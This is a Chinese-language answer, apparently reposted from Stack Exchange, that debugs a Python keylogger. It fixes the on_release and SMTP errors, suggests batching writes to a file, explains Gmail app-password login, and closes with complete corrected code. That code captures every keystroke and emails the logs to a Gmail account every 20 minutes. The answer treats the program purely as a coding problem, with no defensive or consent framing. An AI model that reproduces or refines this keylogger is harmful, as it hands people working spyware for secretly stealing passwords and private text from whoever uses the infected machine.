键盘记录器代码报错：keyboard.on_release参数错误求助

先从最直接的报错说起，然后一步步修正所有潜在问题：

1. 直接触发报错的参数错误 #

你代码里调用keyboard.on_release(keyboard_callback=self.keyboard_callback)时用错了参数名——keyboard库的on_release()函数接受的参数是callback，不是keyboard_callback。这就是你看到TypeError: on_release() got an unexpected keyword argument 'keyboard_callback'的核心原因。

修正后的代码行：

keyboard.on_release(callback=self.keyboard_callback)

2. SMTP邮件发送的方法错误 #

你的send_gmail方法里调用了server.send_gmail()，但SMTP对象根本没有这个方法，正确的方法是server.sendmail()，而且参数顺序是发件人、收件人、邮件内容。另外为了让邮件显示正常，最好给消息加上主题头：

修正后的send_gmail方法：

def send_gmail(self, email, password, message):
    # 给邮件添加主题，避免被识别为垃圾邮件
    message = f"Subject: Keylogger Report\n\n{message}"
    try:
        server = smtplib.SMTP(host="smtp.gmail.com", port=587)
        server.starttls()
        server.login(email, password)
        # 使用正确的sendmail方法
        server.sendmail(email, email, message)
        server.quit()
    except Exception as e:
        print(f"邮件发送失败: {str(e)}")

3. 优化键盘回调的文件写入逻辑 #

你现在每次按键都会打开output.txt写入，不仅效率低，还可能因为文件未正确关闭导致数据丢失。建议把文件写入移到report()方法里，和邮件发送同步执行，同时用with语句确保文件正确关闭：

修改后的keyboard_callback（移除即时写入逻辑）：

def keyboard_callback(self, event):
    name = event.name
    if len(name) > 1:
        if name == "space":
            name = " "
        elif name == "enter":
            name = "[ENTER]\n"
        elif name == "decimal":
            name = "."
        else:
            name = name.replace(" ", "_")
            name = f"[{name.upper()}]"

    self.log += name

然后在report()里添加文件写入：

def report(self):
    if self.log:
        # 用追加模式写入，避免覆盖之前的记录
        with open("output.txt", "a") as f:
            f.write(self.log)
        self.send_gmail(EMAIL_ADDRESS, EMAIL_PASSWORD, self.log)
        self.log = ""
    Timer(interval=self.interval, function=self.report).start()

4. 简化主线程阻塞逻辑 #

你用Semaphore(0)的acquire()来阻塞主线程，其实keyboard库本身提供了更简洁的keyboard.wait()方法，直接替换掉Semaphore相关代码即可：

修改__init__和start()方法：

def __init__(self, interval):
    self.interval = interval
    self.log = ""

def start(self):
    keyboard.on_release(callback=self.keyboard_callback)
    self.report()
    # 阻塞主线程直到程序被手动终止
    keyboard.wait()

5. Gmail认证的关键注意事项 #

现在Google不再允许直接用账户密码登录SMTP服务，你必须：

• 给Google账户启用两步验证
• 创建一个应用专用密码（App Password），用这个密码代替你原来的账户密码
  否则邮件发送会直接失败，提示认证错误。

完整修正后的代码 #

import keyboard
import smtplib
from threading import Timer

REPORT_TIME = 1200
# 替换成你的邮箱和生成的应用专用密码
EMAIL_ADDRESS = "mail95069a@gmail.com"
EMAIL_PASSWORD = "your_app_password_here"

class Keylogger:
    def __init__(self, interval):
        self.interval = interval
        self.log = ""

    def keyboard_callback(self, event):
        name = event.name
        if len(name) > 1:
            if name == "space":
                name = " "
            elif name == "enter":
                name = "[ENTER]\n"
            elif name == "decimal":
                name = "."
            else:
                name = name.replace(" ", "_")
                name = f"[{name.upper()}]"

        self.log += name

    def send_gmail(self, email, password, message):
        message = f"Subject: Keylogger Report\n\n{message}"
        try:
            server = smtplib.SMTP(host="smtp.gmail.com", port=587)
            server.starttls()
            server.login(email, password)
            server.sendmail(email, email, message)
            server.quit()
        except Exception as e:
            print(f"邮件发送失败: {str(e)}")

    def report(self):
        if self.log:
            with open("output.txt", "a") as f:
                f.write(self.log)
            self.send_gmail(EMAIL_ADDRESS, EMAIL_PASSWORD, self.log)
            self.log = ""
        Timer(interval=self.interval, function=self.report).start()

    def start(self):
        keyboard.on_release(callback=self.keyboard_callback)
        self.report()
        keyboard.wait()

if __name__ == "__main__":
    keylogger = Keylogger(interval=REPORT_TIME)
    keylogger.start()

内容的提问来源于stack exchange，提问作者DzonyBrawo